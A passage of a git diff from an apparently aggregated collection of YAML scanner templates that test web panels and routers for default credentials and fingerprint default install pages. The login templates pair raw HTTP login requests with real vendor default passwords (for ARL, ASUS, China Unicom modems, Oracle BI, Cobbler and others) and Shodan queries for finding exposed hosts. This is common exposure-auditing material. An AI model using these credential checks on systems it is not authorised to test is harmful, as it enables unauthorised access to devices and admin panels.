CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 + severity: critical + tags: apisix,apache,default-login metadata: shodan-query: title:"Apache APISIX Dashboard" fofa-query: title="Apache APISIX Dashboard" product: https://apisix.apache.org - tags: apisix,apache,default-login - requests: - raw: - | @@ -27,25 +18,20 @@ requests: Content-Type: application/json;charset=UTF-8 {"username":"{{user}}","password":"{{pass}}"} - attack: pitchfork payloads: user: - admin pass: - admin - matchers-condition: and matchers: - type: status status: - 200 - - type: word words: - '"data"' - '"token"' - '"code":0' condition: and - -# Enhanced by mp on 2022/03/22 diff --git a/poc/default/apollo-default-login-520.yaml b/poc/default/apollo-default-login-520.yaml index 03709bd616..c9e119d097 100644 --- a/poc/default/apollo-default-login-520.yaml +++ b/poc/default/apollo-default-login-520.yaml @@ -12,11 +12,10 @@ info: cvss-score: 8.3 cwe-id: CWE-522 metadata: - max-request: 2 shodan-query: http.favicon.hash:11794165 tags: apollo,default-login -http: +requests: - raw: - | POST /signin HTTP/1.1 @@ -26,6 +25,7 @@ http: Referer: {{BaseURL}}/signin? username={{user}}&password={{pass}}&login-submit=Login + - | GET /user HTTP/1.1 Host: {{Hostname}} @@ -37,6 +37,8 @@ http: pass: - admin + cookie-reuse: true + req-condition: true matchers-condition: and matchers: - type: word @@ -49,7 +51,7 @@ http: - type: dsl dsl: - "status_code_1 == 302 && status_code_2 == 200" - - "contains(tolower(header_2), 'application/json')" + - "contains(tolower(all_headers_2), 'application/json')" condition: and -# digest: 4a0a004730450220546faaa98906288873457aaf445639368f32ddc0a459ae0362b9c87333a0832d022100a718e9fdccaa633152c35bd8f59d89e60a8a24f359521d6c6b0232fe8a07e196:922c64590222798bb761d5b6d8e72950 +# Enhanced by mp on 2022/03/22 diff --git a/poc/default/apollo-default-login-521.yaml b/poc/default/apollo-default-login-521.yaml deleted file mode 100644 index c9e119d097..0000000000 --- a/poc/default/apollo-default-login-521.yaml +++ /dev/null @@ -1,57 +0,0 @@ -id: apollo-default-login - -info: - name: Apollo Default Login - author: PaperPen - severity: high - description: An Apollo default login was discovered. - reference: - - https://github.com/apolloconfig/apollo - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - metadata: - shodan-query: http.favicon.hash:11794165 - tags: apollo,default-login - -requests: - - raw: - - | - POST /signin HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - Origin: {{BaseURL}} - Referer: {{BaseURL}}/signin? - - username={{user}}&password={{pass}}&login-submit=Login - - - | - GET /user HTTP/1.1 - Host: {{Hostname}} - - attack: pitchfork - payloads: - user: - - apollo - pass: - - admin - - cookie-reuse: true - req-condition: true - matchers-condition: and - matchers: - - type: word - part: body_2 - words: - - '"userId":' - - '"email":' - condition: or - - - type: dsl - dsl: - - "status_code_1 == 302 && status_code_2 == 200" - - "contains(tolower(all_headers_2), 'application/json')" - condition: and - -# Enhanced by mp on 2022/03/22 diff --git a/poc/default/arl-default-login-537.yaml b/poc/default/arl-default-login-537.yaml new file mode 100644 index 0000000000..bbadfab474 --- /dev/null +++ b/poc/default/arl-default-login-537.yaml @@ -0,0 +1,44 @@ +id: arl-default-login + +info: + name: ARL Default Admin Login + author: pikpikcu + description: An ARL default admin login was discovered. + severity: high + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + tags: arl,default-login + +requests: + - raw: + - | + POST /api/user/login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json; charset=UTF-8 + + {"username":"{{username}}","password":"{{password}}"} + + payloads: + username: + - admin + password: + - arlpass + attack: pitchfork + + matchers-condition: and + matchers: + + - type: word + condition: and + words: + - '"message": "success"' + - '"username": "admin"' + - '"type": "login"' + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/22 diff --git a/poc/default/arl-default-login-539.yaml b/poc/default/arl-default-login-539.yaml deleted file mode 100644 index f5dcf2d27b..0000000000 --- a/poc/default/arl-default-login-539.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: arl-default-login - -info: - name: ARL Default Admin Login - author: pikpikcu - severity: high - description: An ARL default admin login was discovered. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - tags: arl,default-login - -requests: - - raw: - - | - POST /api/user/login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json; charset=UTF-8 - - {"username":"{{username}}","password":"{{password}}"} - - payloads: - username: - - admin - password: - - arlpass - attack: pitchfork - - matchers-condition: and - matchers: - - - type: word - condition: and - words: - - '"message": "success"' - - '"username": "admin"' - - '"type": "login"' - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/22 diff --git a/poc/default/arl-default-login-540.yaml b/poc/default/arl-default-login-540.yaml index bbadfab474..f5dcf2d27b 100644 --- a/poc/default/arl-default-login-540.yaml +++ b/poc/default/arl-default-login-540.yaml @@ -3,8 +3,8 @@ id: arl-default-login info: name: ARL Default Admin Login author: pikpikcu - description: An ARL default admin login was discovered. severity: high + description: An ARL default admin login was discovered. classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 diff --git a/poc/default/asus-rtn16-default-login.yaml b/poc/default/asus-rtn16-default-login.yaml new file mode 100644 index 0000000000..6e555fad8a --- /dev/null +++ b/poc/default/asus-rtn16-default-login.yaml @@ -0,0 +1,43 @@ +id: asus-rtn16-default-login + +info: + name: ASUS RT-N16 - Default Login + author: ritikchaddha + severity: high + description: | + ASUS RT-N16 contains a default login vulnerability. Default admin login password 'admin' was found. + metadata: + max-request: 1 + shodan-query: "RT-N16" + verified: true + tags: default-login,asus,rt-n16 + +http: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username + ':' + password)}} + + attack: pitchfork + payloads: + username: + - admin + password: + - admin + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'ASUS' + - 'RT-N16' + - 'System Status' + - 'Network Map' + condition: and + + - type: status + status: + - 200 +# digest: 4a0a00473045022100e5edc14dff54097d5cd074539630205b93a4e24cb03cb7e5fd3b70cae381045b022055263b212fe7e1e32e458b2613e266d061932ef673f26709afb626a3e3797b87:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/default/asus-wl500g-default-login.yaml b/poc/default/asus-wl500g-default-login.yaml new file mode 100644 index 0000000000..1e874faedb --- /dev/null +++ b/poc/default/asus-wl500g-default-login.yaml @@ -0,0 +1,47 @@ +id: asus-wl500g-default-login + +info: + name: ASUS WL-500G - Default Login + author: ritikchaddha + severity: high + description: | + ASUS WL-500 contains a default login vulnerability. Default admin login password 'admin' was found. + metadata: + max-request: 1 + shodan-query: "WL-500G" + verified: true + tags: default-login,asus,wl-500 + +http: + - raw: + - | + GET /index.asp HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username + ':' + password)}} + + attack: pitchfork + payloads: + username: + - admin + password: + - admin + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '401 Unauthorized' + negative: true + + - type: word + part: body + words: + - '"Main_Index_AccessPoint.asp' + - 'Main_List.asp' + condition: and + + - type: status + status: + - 200 +# digest: 4a0a0047304502206359a6512f7d913a8a6eaaa9e886376e8ff7c73119f7b6dcbef2d6175e2a2fc5022100e260842f0946002cb0728695b1832997d779927462b2f4deefd55da09193f5d2:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/default/asus-wl520GU-default-login.yaml b/poc/default/asus-wl520GU-default-login.yaml new file mode 100644 index 0000000000..a972e1e1c2 --- /dev/null +++ b/poc/default/asus-wl520GU-default-login.yaml @@ -0,0 +1,42 @@ +id: asus-wl520GU-default-login + +info: + name: ASUS WL-520GU - Default Login + author: ritikchaddha + severity: high + description: | + ASUS WL-520GU contains a default login vulnerability. The default admin login password 'admin' was found. + metadata: + max-request: 1 + shodan-query: "WL-520GU" + verified: true + tags: default-login,asus,wl-520gu + +http: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username + ':' + password)}} + + attack: pitchfork + payloads: + username: + - admin + password: + - admin + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'ASUS' + - 'WL-520GU' + - "return 'Connected" + condition: and + + - type: status + status: + - 200 +# digest: 490a00463044022017c5ae1ae8978c04a3cb2dc914cbbfec2fb928e5f41a2a47fd176bfca251208a02203e93dc759abb343620866936cfc3cad973727bab49420ad7e0781524ca285cbf:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/default/azkaban-default-login.yaml b/poc/default/azkaban-default-login-671.yaml similarity index 100% rename from poc/default/azkaban-default-login.yaml rename to poc/default/azkaban-default-login-671.yaml diff --git a/poc/default/azkaban-default-login-673.yaml b/poc/default/azkaban-default-login-673.yaml index c524be5d45..5d9e13ca58 100644 --- a/poc/default/azkaban-default-login-673.yaml +++ b/poc/default/azkaban-default-login-673.yaml @@ -1,53 +1,47 @@ -id: azkaban-default-login - -info: - name: Azkaban Web Client Default Credential - author: pussycat0x - severity: high - description: Azkaban is a batch workflow job scheduler created at LinkedIn to run Hadoop jobs. Default web client credentials were discovered. - reference: - - https://www.shodan.io/search?query=http.title%3A%22Azkaban+Web+Client%22 - classification: - cwe-id: CWE-798 - tags: default-login,azkaban - -requests: - - raw: - - | - POST / HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - - action=login&username={{username}}&password={{password}} - - payloads: - username: - - admin - password: - - admin - attack: pitchfork - matchers-condition: and - matchers: - - type: word - words: - - '"session.id"' - - '"success"' - condition: and - - - type: word - words: - - 'azkaban.browser.session.id' - - 'application/json' - condition: and - part: header - - - type: status - status: - - 200 - - extractors: - - type: kval - kval: - - azkaban.browser.session.id - -# Enhanced by mp on 2022/03/03 +id: azkaban-default-login + +info: + name: Azkaban Web Client Default Credential + author: pussycat0x + severity: high + reference: https://www.shodan.io/search?query=http.title%3A%22Azkaban+Web+Client%22 + tags: default-login,azkaban + +requests: + - raw: + - | + POST / HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + action=login&username={{username}}&password={{password}} + + payloads: + username: + - admin + password: + - admin + attack: pitchfork + matchers-condition: and + matchers: + - type: word + words: + - '"session.id"' + - '"success"' + condition: and + + - type: word + words: + - 'azkaban.browser.session.id' + - 'application/json' + condition: and + part: header + + - type: status + status: + - 200 + + extractors: + - type: kval + kval: + - azkaban.browser.session.id diff --git a/poc/default/businessintelligence-default-login-817.yaml b/poc/default/businessintelligence-default-login-817.yaml new file mode 100644 index 0000000000..a89df1808c --- /dev/null +++ b/poc/default/businessintelligence-default-login-817.yaml @@ -0,0 +1,45 @@ +id: oracle-business-intelligence-login + +info: + name: Oracle Business Intelligence Default Login + author: milo2012 + severity: high + tags: oracle,default-login + +requests: + - raw: + - | + POST /xmlpserver/services/XMLPService HTTP/1.1 + Host: {{Hostname}} + Content-Type: text/xml + SOAPAction: "" + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + + + + + + {{username}} + {{password}} + bi + + + + + payloads: + username: + - Administrator + password: + - Administrator + attack: pitchfork + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - 'createSessionReturn' + part: body diff --git a/poc/default/businessintelligence-default-login-816.yaml b/poc/default/businessintelligence-default-login.yaml similarity index 100% rename from poc/default/businessintelligence-default-login-816.yaml rename to poc/default/businessintelligence-default-login.yaml diff --git a/poc/default/cambium-networks-default-login.yaml b/poc/default/cambium-networks-default-login.yaml new file mode 100644 index 0000000000..eeacaeb7fa --- /dev/null +++ b/poc/default/cambium-networks-default-login.yaml @@ -0,0 +1,44 @@ +id: cambium-networks-default-login + +info: + name: Canopy 5.7GHz Access Point - Default Login + author: defektive + severity: high + description: | + Cambium Networks / Motorola Canopy 5750AP ADVANTAGE Access Point 5.7GHz login credentials were discovered. + metadata: + verified: true + max-request: 1 + fofa-query: title="Welcome to Canopy" + tags: default-login,cambium,canopy + +http: + - raw: + - | + POST /login.cgi HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + &Session=0&CanopyUsername={{username}}&CanopyPassword={{password}}&login=Login&webguisubmit=submit + + attack: pitchfork + payloads: + username: + - root + - admin + password: + - root + - admin + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Logged in as root" + + - type: status + status: + - 200 +# digest: 4a0a00473045022060ca7e028b3cacd5e75c469c3b8df897700ecb1fa9e91f15b05eb6a50d9f2d31022100ab396afa79123b660bb4784387663ed5eb3f9767485f162c73fbe565f1fa8bbe:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/default/canal-default-login-846.yaml b/poc/default/canal-default-login-846.yaml deleted file mode 100644 index 6a73132d6f..0000000000 --- a/poc/default/canal-default-login-846.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: canal-default-login - -info: - name: Alibaba Canal Default Login - author: pdteam - description: An Alibaba Canal default login was discovered. - severity: high - reference: - - https://github.com/alibaba/canal/wiki/ClientAdapter - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - tags: alibaba,default-login - -requests: - - raw: - - | - POST /api/v1/user/login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - - {"username":"{{user}}","password":"{{pass}}"} - - attack: pitchfork - payloads: - user: - - admin - pass: - - 123456 - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - condition: and - words: - - 'data":{"token"' - - '"code":20000' - -# Enhanced by mp on 2022/03/22 diff --git a/poc/default/canal-default-login-849.yaml b/poc/default/canal-default-login-849.yaml new file mode 100644 index 0000000000..a4c4a1b801 --- /dev/null +++ b/poc/default/canal-default-login-849.yaml @@ -0,0 +1,35 @@ +id: canal-default-login + +info: + name: Alibaba Canal Default Login + author: pdteam + severity: high + tags: alibaba,default-login + +requests: + - raw: + - | + POST /api/v1/user/login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {"username":"{{user}}","password":"{{pass}}"} + + attack: pitchfork + payloads: + user: + - admin + pass: + - 123456 + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + condition: and + words: + - 'data":{"token"' + - '"code":20000' diff --git a/poc/default/canal-default-login.yaml b/poc/default/canal-default-login.yaml index a4c4a1b801..6a73132d6f 100644 --- a/poc/default/canal-default-login.yaml +++ b/poc/default/canal-default-login.yaml @@ -3,7 +3,14 @@ id: canal-default-login info: name: Alibaba Canal Default Login author: pdteam + description: An Alibaba Canal default login was discovered. severity: high + reference: + - https://github.com/alibaba/canal/wiki/ClientAdapter + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 tags: alibaba,default-login requests: @@ -33,3 +40,5 @@ requests: words: - 'data":{"token"' - '"code":20000' + +# Enhanced by mp on 2022/03/22 diff --git a/poc/default/chinaunicom-default-login-906.yaml b/poc/default/chinaunicom-default-login-906.yaml deleted file mode 100644 index 264ffd5f07..0000000000 --- a/poc/default/chinaunicom-default-login-906.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: chinaunicom-default-login - -info: - name: China Unicom Modem Default Login - author: princechaddha - severity: high - description: Default login credentials were discovered for a China Unicom modem. - tags: chinaunicom,default-login - classification: - cwe-id: CWE-798 - -requests: - - raw: - - | - POST /cu.html HTTP/1.1 - Host: {{Hostname}} - - frashnum=&action=login&Frm_Logintoken=1&Username={{username}}&Password={{password}}&Username=&Password= - - attack: pitchfork - payloads: - username: - - CUAdmin - password: - - CUAdmin - - matchers-condition: and - matchers: - - type: status - status: - - 302 - - - type: word - words: - - "/menu.gch" - part: header - -# Enhanced by mp on 2022/03/03 diff --git a/poc/default/chinaunicom-default-login.yaml b/poc/default/chinaunicom-default-login-909.yaml similarity index 100% rename from poc/default/chinaunicom-default-login.yaml rename to poc/default/chinaunicom-default-login-909.yaml diff --git a/poc/default/chinaunicom-modem-default-credentials.yaml b/poc/default/chinaunicom-modem-default-credentials.yaml index 9498a9b6f9..ed58f2f847 100644 --- a/poc/default/chinaunicom-modem-default-credentials.yaml +++ b/poc/default/chinaunicom-modem-default-credentials.yaml @@ -1,9 +1,11 @@ id: chinaunicom-modem-default-credentials + info: name: Chinaunicom Modem Default Credentials author: princechaddha severity: high tags: chinaunicom,default-login + requests: - method: POST path: diff --git a/poc/default/cobbler-default-login-1118.yaml b/poc/default/cobbler-default-login-1118.yaml new file mode 100644 index 0000000000..7a291fcf40 --- /dev/null +++ b/poc/default/cobbler-default-login-1118.yaml @@ -0,0 +1,72 @@ +id: cobbler-default-login + +info: + name: Cobbler Default Login + author: c-sh0 + description: Cobbler default login credentials for the testing module (testing/testing) were discovered. + reference: + - https://seclists.org/oss-sec/2022/q1/146 + - https://github.com/cobbler/cobbler/issues/2307 + - https://github.com/cobbler/cobbler/issues/2909 + severity: high + tags: cobbler,default-login,api + classification: + cwe-id: CWE-798 + +requests: + - raw: + - | + POST {{BaseURL}}/cobbler_api HTTP/1.1 + Host: {{Hostname}} + Content-Type: text/xml + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + + + + login + + + + {{username}} + + + + + {{password}} + + + + + + attack: pitchfork + payloads: + username: + - cobbler + - testing + password: + - cobbler + - testing + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: header + words: + - 'text/xml' + + - type: dsl + dsl: + - "!contains(tolower(body), 'faultCode')" + - "!contains(tolower(body), 'login failed')" + condition: or + + - type: regex + part: body + regex: + - "(.*[a-zA-Z0-9].+==)" + +# Enhanced by mp on 2022/03/03 diff --git a/poc/default/cobbler-default-login-1119.yaml b/poc/default/cobbler-default-login-1119.yaml deleted file mode 100644 index fe55ee0abc..0000000000 --- a/poc/default/cobbler-default-login-1119.yaml +++ /dev/null @@ -1,54 +0,0 @@ -id: cobbler-default-login -info: - name: Cobbler Default Login - author: c-sh0 - reference: - - https://github.com/cobbler/cobbler/issues/2307 - - https://github.com/cobbler/cobbler/issues/2909 - severity: high - tags: cobbler,default-login,api -requests: - - raw: - - | - POST {{BaseURL}}/cobbler_api HTTP/1.1 - Host: {{Hostname}} - Content-Type: text/xml - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 - - - - login - - - {{username}} - - - {{password}} - - - - payloads: - username: - - cobbler - - testing - password: - - cobbler - - testing - attack: pitchfork - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - part: header - words: - - 'Content-Type: text/xml' - - type: dsl - dsl: - - "!contains(tolower(body), 'faultCode')" - - "!contains(tolower(body), 'login failed')" - - type: regex - part: body - regex: - - "(.*[a-zA-Z0-9].+==)" diff --git a/poc/default/cobbler-default-login-1120.yaml b/poc/default/cobbler-default-login-1120.yaml index 7a291fcf40..2cfe8ba153 100644 --- a/poc/default/cobbler-default-login-1120.yaml +++ b/poc/default/cobbler-default-login-1120.yaml @@ -3,15 +3,15 @@ id: cobbler-default-login info: name: Cobbler Default Login author: c-sh0 + severity: high description: Cobbler default login credentials for the testing module (testing/testing) were discovered. reference: - https://seclists.org/oss-sec/2022/q1/146 - https://github.com/cobbler/cobbler/issues/2307 - https://github.com/cobbler/cobbler/issues/2909 - severity: high - tags: cobbler,default-login,api classification: cwe-id: CWE-798 + tags: cobbler,default-login,api requests: - raw: diff --git a/poc/default/default-apache-test-all-6815.yaml b/poc/default/default-apache-test-all-6815.yaml new file mode 100644 index 0000000000..ce2216bbb0 --- /dev/null +++ b/poc/default/default-apache-test-all-6815.yaml @@ -0,0 +1,29 @@ +id: default-apache-test-all + +info: + name: Apache HTTP Server Test Page + author: andydoering + description: Detects default installations of apache (not just apache2 or installations on CentOS) + severity: info + tags: tech,apache + metadata: + shodan-query: http.title:"Apache+Default","Apache+HTTP+Server+Test","Apache2+It+works" + +requests: + - method: GET + path: + - '{{BaseURL}}' + + matchers: + - type: regex # type of the extractor + part: body # part of the response (header,body,all) + condition: or + regex: + - ".*?Apache(|\\d+) .*?(Default|Test).*?" + - "(Default|Test).*? Apache(|\\d+).*?" + + extractors: + - type: kval + part: header + kval: + - server diff --git a/poc/default/default-apache-test-all-6813.yaml b/poc/default/default-apache-test-all.yaml similarity index 100% rename from poc/default/default-apache-test-all-6813.yaml rename to poc/default/default-apache-test-all.yaml diff --git a/poc/default/default-apache-test-page-6816.yaml b/poc/default/default-apache-test-page-6816.yaml index f727151d6a..7924f07b0c 100644 --- a/poc/default/default-apache-test-page-6816.yaml +++ b/poc/default/default-apache-test-page-6816.yaml @@ -1,17 +1,15 @@ id: default-apache-test-page - info: name: Apache HTTP Server Test Page author: dhiyaneshDk severity: info + metadata: + shodan-query: http.title:"Apache HTTP Server Test Page powered by CentOS" tags: tech,apache - reference: https://www.shodan.io/search?query=http.title%3A%22Apache+HTTP+Server+Test+Page+powered+by+CentOS%22 - requests: - method: GET path: - '{{BaseURL}}' - matchers: - type: word words: diff --git a/poc/default/default-apache-test-page.yaml b/poc/default/default-apache-test-page.yaml deleted file mode 100644 index 69f573761a..0000000000 --- a/poc/default/default-apache-test-page.yaml +++ /dev/null @@ -1,17 +0,0 @@ -id: default-apache-test-page -info: - name: Apache HTTP Server Test Page - author: dhiyaneshDk - severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22Apache+HTTP+Server+Test+Page+powered+by+CentOS%22 - tags: tech,apache -requests: - - method: GET - path: - - '{{BaseURL}}' - matchers: - - type: word - words: - - "Apache HTTP Server Test Page powered by CentOS" - part: body diff --git a/poc/default/default-apache2-page-6804.yaml b/poc/default/default-apache2-page-6804.yaml index 074ad94a7d..5b0059bd91 100644 --- a/poc/default/default-apache2-page-6804.yaml +++ b/poc/default/default-apache2-page-6804.yaml @@ -1,15 +1,17 @@ id: default-apache2-page + info: name: Apache2 Default Test Page author: dhiyaneshDk severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22Apache2+Debian+Default+Page%3A+It+works%22 tags: tech,apache + reference: https://www.shodan.io/search?query=http.title%3A%22Apache2+Debian+Default+Page%3A+It+works%22 + requests: - method: GET path: - '{{BaseURL}}' + matchers: - type: word words: diff --git a/poc/default/default-apache2-page-6805.yaml b/poc/default/default-apache2-page-6805.yaml index a123e40b22..001fda6ecd 100644 --- a/poc/default/default-apache2-page-6805.yaml +++ b/poc/default/default-apache2-page-6805.yaml @@ -1,18 +1,15 @@ id: default-apache2-page - info: name: Apache2 Default Test Page author: dhiyaneshDk severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22Apache2+Debian+Default+Page%3A+It+works%22 + metadata: + shodan-query: http.title:"Apache2 Debian Default Page:" tags: tech,apache - requests: - method: GET path: - '{{BaseURL}}' - matchers: - type: word words: diff --git a/poc/default/default-apache2-ubuntu-page-6808.yaml b/poc/default/default-apache2-ubuntu-page-6808.yaml deleted file mode 100644 index 3c97cba742..0000000000 --- a/poc/default/default-apache2-ubuntu-page-6808.yaml +++ /dev/null @@ -1,18 +0,0 @@ -id: default-apache2-ubuntu-page - -info: - name: Apache2 Ubuntu Default Page - author: dhiyaneshDk - severity: info - tags: tech,apache - reference: https://www.shodan.io/search?query=http.title%3A%22Apache2+Ubuntu+Default+Page%22 - -requests: - - method: GET - path: - - '{{BaseURL}}' - matchers: - - type: word - words: - - "Apache2 Ubuntu Default Page: It works" - part: body diff --git a/poc/default/default-apache2-ubuntu-page-6809.yaml b/poc/default/default-apache2-ubuntu-page-6809.yaml index 6738fe2192..61ba9b8c68 100644 --- a/poc/default/default-apache2-ubuntu-page-6809.yaml +++ b/poc/default/default-apache2-ubuntu-page-6809.yaml @@ -1,11 +1,13 @@ id: default-apache2-ubuntu-page + info: name: Apache2 Ubuntu Default Page author: dhiyaneshDk severity: info - metadata: - shodan-query: http.title:"Apache2 Ubuntu Default Page" + reference: + - https://www.shodan.io/search?query=http.title%3A%22Apache2+Ubuntu+Default+Page%22 tags: tech,apache + requests: - method: GET path: diff --git a/poc/default/default-apache2-ubuntu-page-6810.yaml b/poc/default/default-apache2-ubuntu-page-6810.yaml index 83b392e20a..3c97cba742 100644 --- a/poc/default/default-apache2-ubuntu-page-6810.yaml +++ b/poc/default/default-apache2-ubuntu-page-6810.yaml @@ -4,9 +4,8 @@ info: name: Apache2 Ubuntu Default Page author: dhiyaneshDk severity: info - metadata: - shodan-query: http.title:"Apache2 Ubuntu Default Page" tags: tech,apache + reference: https://www.shodan.io/search?query=http.title%3A%22Apache2+Ubuntu+Default+Page%22 requests: - method: GET diff --git a/poc/default/default-asp-net-page-6824.yaml b/poc/default/default-asp-net-page-6824.yaml index a205aa600f..14b19fd93c 100644 --- a/poc/default/default-asp-net-page-6824.yaml +++ b/poc/default/default-asp-net-page-6824.yaml @@ -1,14 +1,18 @@ id: default-asp-net-page + info: name: ASP.Net Test Page author: dhiyaneshDk severity: info + metadata: + shodan-query: http.title:"Home Page - My ASP.NET Application" tags: tech,asp - reference: https://www.shodan.io/search?query=http.title%3A%22Home+Page+-+My+ASP.NET+Application%22 + requests: - method: GET path: - '{{BaseURL}}' + matchers: - type: word part: body diff --git a/poc/default/default-asp-net-page-6825.yaml b/poc/default/default-asp-net-page-6825.yaml index 9a0ff60ee2..f6bf47c53f 100644 --- a/poc/default/default-asp-net-page-6825.yaml +++ b/poc/default/default-asp-net-page-6825.yaml @@ -4,10 +4,12 @@ info: name: ASP.Net Test Page author: dhiyaneshDk severity: info + metadata: + max-request: 1 + shodan-query: http.title:"Home Page - My ASP.NET Application" tags: tech,asp - reference: https://www.shodan.io/search?query=http.title%3A%22Home+Page+-+My+ASP.NET+Application%22 -requests: +http: - method: GET path: - '{{BaseURL}}' @@ -17,3 +19,5 @@ requests: part: body words: - "Home Page - My ASP.NET Application" + +# digest: 4a0a0047304502210082b427a566ba865dfe580f2c0b6c0dd699b99ca7d961531d3dcc7b70a9f3660d02207d60bd58d94794c17e5245b604a41d0f1045d68de65273f6f5b59e1f386a2b30:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/default-centos-test-page-6826.yaml b/poc/default/default-centos-test-page-6826.yaml index 759f2ccd44..dc7bbd3cb4 100644 --- a/poc/default/default-centos-test-page-6826.yaml +++ b/poc/default/default-centos-test-page-6826.yaml @@ -1,11 +1,12 @@ id: default-centos-test-page + info: name: CentOs-WebPanel Test Page author: dhiyaneshDk severity: info - metadata: - shodan-query: http.title:"HTTP Server Test Page powered by CentOS-WebPanel.com" tags: tech,centos + reference: https://www.shodan.io/search?query=http.title%3A%22HTTP+Server+Test+Page+powered+by+CentOS-WebPanel.com%22 + requests: - method: GET path: diff --git a/poc/default/default-centos-test-page-6828.yaml b/poc/default/default-centos-test-page-6828.yaml index fb57940f33..21c836f3cc 100644 --- a/poc/default/default-centos-test-page-6828.yaml +++ b/poc/default/default-centos-test-page-6828.yaml @@ -1,18 +1,15 @@ id: default-centos-test-page - info: name: CentOs-WebPanel Test Page author: dhiyaneshDk severity: info - metadata: - shodan-query: http.title:"HTTP Server Test Page powered by CentOS-WebPanel.com" + reference: + - https://www.shodan.io/search?query=http.title%3A%22HTTP+Server+Test+Page+powered+by+CentOS-WebPanel.com%22 tags: tech,centos - requests: - method: GET path: - '{{BaseURL}}' - matchers: - type: word words: diff --git a/poc/default/default-codeigniter-page.yaml b/poc/default/default-codeigniter-page-6830.yaml similarity index 100% rename from poc/default/default-codeigniter-page.yaml rename to poc/default/default-codeigniter-page-6830.yaml diff --git a/poc/default/default-codeigniter-page-6832.yaml b/poc/default/default-codeigniter-page-6832.yaml index 6a871e0552..03415da1ef 100644 --- a/poc/default/default-codeigniter-page-6832.yaml +++ b/poc/default/default-codeigniter-page-6832.yaml @@ -5,10 +5,11 @@ info: author: dhiyaneshDK severity: info metadata: + max-request: 1 shodan-query: http.title:"Welcome to CodeIgniter" tags: tech,codeigniter -requests: +http: - method: GET path: - '{{BaseURL}}' @@ -22,3 +23,5 @@ requests: - type: status status: - 200 + +# digest: 4b0a00483046022100f4e992a459c52b2e15d4e202219faf801f3d82e1c31c798c6a400d7f923c0ee502210096d6440219750e02b3176cbaf2e33f06598297f784355801a904c26295e486fa:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/default-detect-generic-6838.yaml b/poc/default/default-detect-generic-6838.yaml index c2615d8247..974585c135 100644 --- a/poc/default/default-detect-generic-6838.yaml +++ b/poc/default/default-detect-generic-6838.yaml @@ -3,23 +3,20 @@ id: default-detect-generic info: name: Default Web Application Detection author: andydoering - severity: info description: Catch-all for detecting default installations of web applications using common phrases found in default install pages - metadata: - max-request: 1 + severity: info tags: tech -http: +requests: - method: GET path: - "{{BaseURL}}" matchers: + - type: word part: body condition: or words: - "Default" - - "Welcome to" - -# digest: 4b0a00483046022100b36329fd7c77736d36f0e288df0f7f0404bfd91749fbb10eedacf5c3d813aa02022100b36f877c50304470553877f37bb6bd481bccc6ae954e6ffefe3be0e4b5ed8c7f:922c64590222798bb761d5b6d8e72950 + - "Welcome to" \ No newline at end of file diff --git a/poc/default/default-detect-generic-6839.yaml b/poc/default/default-detect-generic-6839.yaml deleted file mode 100644 index 2ff5c46a41..0000000000 --- a/poc/default/default-detect-generic-6839.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: default-detect-generic - -info: - name: Default Web Application Detection - author: andydoering - severity: info - description: Catch-all for 